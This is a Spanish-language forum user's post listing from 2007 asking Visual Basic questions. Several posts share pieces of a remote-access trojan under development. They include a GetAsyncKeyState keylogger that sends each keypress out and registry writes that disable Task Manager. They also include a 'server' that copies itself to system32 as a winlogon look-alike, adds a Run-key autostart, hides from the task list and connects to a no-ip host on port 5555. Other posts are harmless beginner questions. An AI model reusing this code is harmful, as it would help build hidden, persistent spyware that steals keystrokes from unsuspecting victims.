Últimos Temas de: shadow.darknesses

Mostrar Temas
Páginas: [1] 2

1	Programación / Programación Visual Basic / duda con keyascii	en: 8 Abril 2007, 16:43 pm
bueno yo keria saber si alguien me podria psar un code, que no pude hacerlo, se trata, de que cuando estes es un form1, y aprites 3 teclas como x ejemplo alt+j+o, haga una accion alguien sabe como hacerlo xfavor saludoss

Programación / Programación Visual Basic / Quien me podria explicar esto, xfa(listar procesos)

en: 27 Enero 2007, 01:38 am

Código:

Dim ListaProcesos As Object
Dim ObjetoWMI As Object
Dim ProcesoACerrar As Object


Private Function MatarProceso(StrNombreProceso As String, Optional DecirSINO As Boolean = True) As Boolean
MatarProceso = False

Set ObjetoWMI = GetObject("winmgmts:")

If IsNull(ObjetoWMI) = False Then

'instanciamos la variable

Set ListaProcesos = ObjetoWMI.InstancesOf("win32_process")

For Each ProcesoACerrar In ListaProcesos
If UCase(ProcesoACerrar.Name) = UCase(StrNombreProceso) Then
If DecirSINO Then

If MsgBox("¿Matar el proceso " & _
ProcesoACerrar.Name & vbNewLine & "...¿Está seguro?", vbYesNo + vbCritical) = vbYes Then

ProcesoACerrar.Terminate (0)

MatarProceso = True

End If

Else

'Matamos el proceso con el método Terminate
ProcesoACerrar.Terminate (0)
MatarProceso = True

End If
End If

Next
End If

Set ListaProcesos = Nothing
Set ObjetoWMI = Nothing
End Function

Private Sub Listar()

Set ObjetoWMI = GetObject("winmgmts:")

If IsNull(ObjetoWMI) = False Then


Set ListaProcesos = ObjetoWMI.InstancesOf("win32_process")

'Recorremos toda las coleccion en lista de procesos y la añadimos al list
For Each ProcesoACerrar In ListaProcesos
List1.AddItem LCase$(ProcesoACerrar.Name)
Next
End If

'Eliminamos las variables de objeto

Set ListaProcesos = Nothing
Set ObjetoWMI = Nothing

End Sub

Private Sub Command1_Click()
'Llamamos a MatarProceso pasandole el nombre
MatarProceso LCase$(List1), True
'Borramos el list
List1.Clear
'Volvemos a listar los procesos
Listar

End Sub

Private Sub Command2_Click()
'Borramos la lista y volvemos a listar los procesos
List1.Clear
Listar
End Sub

Private Sub Form_Load()
 Listar
End Sub

este code obiamente no ice nada yo
no entiendo nada como se podrias simplicar esa funcion, como lo iso sin api¿
ayuda xfaa

Programación / Programación Visual Basic / error con keyloggers

en: 27 Enero 2007, 01:23 am

miren ise un keyloggers super simple, es asi
modulo

Código:

Declare Function apikey Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

Código:

Private Sub Timer_key_Timer()
If apikey(144) Then Envia "keylock" 'falta 128-143
If apikey(127) Then Envia "keyf16"
If apikey(126) Then Envia "keyf15"
If apikey(125) Then Envia "keyf14"
If apikey(124) Then Envia "keyf13"
If apikey(123) Then Envia "keyf12"
If apikey(122) Then Envia "keyf11"
If apikey(121) Then Envia "keyf10"
If apikey(120) Then Envia "keyf9"
If apikey(119) Then Envia "keyf8"
If apikey(118) Then Envia "keyf7"
If apikey(117) Then Envia "keyf6"
If apikey(116) Then Envia "keyf5"
If apikey(115) Then Envia "keyf4"
If apikey(114) Then Envia "keyf3"
If apikey(113) Then Envia "keyf2"
If apikey(112) Then Envia "keyf1"
If apikey(111) Then Envia "keydivide"
If apikey(110) Then Envia "keydecimal"
If apikey(109) Then Envia "key-"
If apikey(108) Then Envia "keyfseparator" 'noce
If apikey(107) Then Envia "key+"
If apikey(106) Then Envia "key*"
If apikey(105) Then Envia "key9"
If apikey(104) Then Envia "key8"
If apikey(103) Then Envia "key7"
If apikey(102) Then Envia "key6"
If apikey(101) Then Envia "key5"
If apikey(100) Then Envia "key4"
If apikey(99) Then Envia "key3"
If apikey(98) Then Envia "key2"
If apikey(97) Then Envia "key1"
If apikey(96) Then Envia "key0"
If apikey(90) Then Envia "keyz"
If apikey(89) Then Envia "keyy"
If apikey(88) Then Envia "keyx"
If apikey(87) Then Envia "keyw"
If apikey(86) Then Envia "keyv"
If apikey(85) Then Envia "keyu"
If apikey(84) Then Envia "keyt"
If apikey(83) Then Envia "keys"
If apikey(82) Then Envia "keyr"
If apikey(81) Then Envia "keyq"
If apikey(80) Then Envia "keyp"
If apikey(79) Then Envia "keyo"
If apikey(78) Then Envia "keyn"
If apikey(77) Then Envia "keym"
If apikey(76) Then Envia "keyl"
If apikey(75) Then Envia "keyk"
If apikey(74) Then Envia "keyj"
If apikey(73) Then Envia "keyi"
If apikey(72) Then Envia "keyh"
If apikey(71) Then Envia "keyg"
If apikey(70) Then Envia "keyf"
If apikey(69) Then Envia "keye"
If apikey(68) Then Envia "keyd"
If apikey(67) Then Envia "keyc"
If apikey(66) Then Envia "keyb"
If apikey(65) Then Envia "keya" 'falta 58-64
If apikey(57) Then Envia "key9"
If apikey(56) Then Envia "key8"
If apikey(55) Then Envia "key7"
If apikey(54) Then Envia "key6"
If apikey(53) Then Envia "key5"
If apikey(52) Then Envia "key4"
If apikey(51) Then Envia "key3"
If apikey(50) Then Envia "key2"
If apikey(49) Then Envia "key1"
If apikey(48) Then Envia "key0"
If apikey(47) Then Envia "keyhelp" 'noce
If apikey(46) Then Envia "keysupr"
If apikey(45) Then Envia "keyinsert"
If apikey(44) Then Envia "keysnapshot" 'Impr-pant-petsis
If apikey(43) Then Envia "keyexecute" 'noce
If apikey(42) Then Envia "keyprint" 'noce
If apikey(41) Then Envia "keyselect" 'noce
If apikey(40) Then Envia "keydown"
If apikey(39) Then Envia "keyright"
If apikey(38) Then Envia "keyup"
If apikey(37) Then Envia "keyleft"
If apikey(36) Then Envia "keyhome"
If apikey(35) Then Envia "keyend"
If apikey(34) Then Envia "keypagdown"
If apikey(33) Then Envia "keypagup"
If apikey(32) Then Envia "keyspace" 'falta 28-31
If apikey(27) Then Envia "keyesc" 'falta 21-26
If apikey(20) Then Envia "keycapital" 'BLOQMAYUS
If apikey(18) Then Envia "keymenu" 'alt
If apikey(19) Then Envia "keyPause" 'pause-inter
If apikey(17) Then Envia "keyctrl"
If apikey(16) Then Envia "keyshif"
If apikey(13) Then Envia "keyenter"
If apikey(12) Then Envia "keyclear" 'noce
If apikey(9) Then Envia "keytab"
If apikey(8) Then Envia "keyback"
If apikey(4) Then Envia "keymbutton" 'noce
If apikey(3) Then Envia "keycancel" 'noce
If apikey(2) Then Envia "keyclickderecho"
If apikey(1) Then Envia "keyclickizquierdo"
End Sub

ya todo bien pero cuando pulso una tecla y la dejo too el rato apresionada en el text1 aparece como se hubiese sido aprecionada millones de veces, o ejemplo ago un click con el derecho y en el keyloggers sale que ice como 20 veces click con el derecho
miren

cual es el error? xfa

Programación / Programación Visual Basic / Con deshabilitar ctrl+alt+suipr

en: 27 Enero 2007, 01:16 am

miren

Código:

Case "Desactivar_ctrl"
Set x = CreateObject("WScript.Shell")
x.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "1"
Case "Activar_ctrl"
Set x = CreateObject("WScript.Shell")
x.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "0"

ya le di desactivar y luego no cambia a activar xq es?, esta todo bien escrito

5	Programación / Programación Visual Basic / COmo puedo hacer para ejecutar los archivos	en: 25 Enero 2007, 15:30 pm
como puedo hacer para ejecutar los archivos de esto con este code Código: Option Explicit Private Sub Dir1_Change() File1.Path = Dir1.Path End Sub Private Sub drv_discos_Change() On Error Resume Next Dir1.Path = drv_discos.Drive End Sub yo seleciono un archivo y lo ejecuto del objeto file1 xfavor Saludos... yo le puse esto pero no me funca Código: Private Sub File1_Click() Dir1.Path = Shell(File1) 'me dice archivo no encontrado End Sub

6	Programación / Programación Visual Basic / duda con barra de envio de archivvos	en: 25 Enero 2007, 15:11 pm
como se llama este objeto en vb? xfavor, no es progressbar1 y statusbar1 ayuda xfavor y como puedo meter un archivo en u variable???

7	Programación / Programación Visual Basic / como puedo hacer pestañas	en: 24 Enero 2007, 06:13 am
bueno como el asunto lo dice como puedo hacer pestañas con mi programa?

8	Programación / Programación Visual Basic / Com puedo saber tamaño de archivo?	en: 23 Enero 2007, 19:17 pm
Con lof y comandodialog, pero no caxoo, alguien que me puede ayudar x ahi

Programación / Programación Visual Basic / Como reemplazo archivo

en: 21 Enero 2007, 17:57 pm

olaa, miren este code es de m server

Código:

On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = False
End Sub

ya yo lo abro, todo bien se ejecuta al inicio del pc, pero ya quiero abrir una nueva version de mi sever mas avanzada, NO reemplaza el archivo en system 32, alguien sabe como podria hacerlo para reemplazarlo
gracias
Saludos...

10	Programación / Programación Visual Basic / Como puedo hacer para la ver la cantidad de usuarios conectados	en: 19 Enero 2007, 18:18 pm
yo tengo los usuarios conectados a mi cliente/server en un list view, y no caxo como hacer que en una parte se vea la cantidad de usarios conectados a mi xD me podrian ayudar xfa

Páginas: [1] 2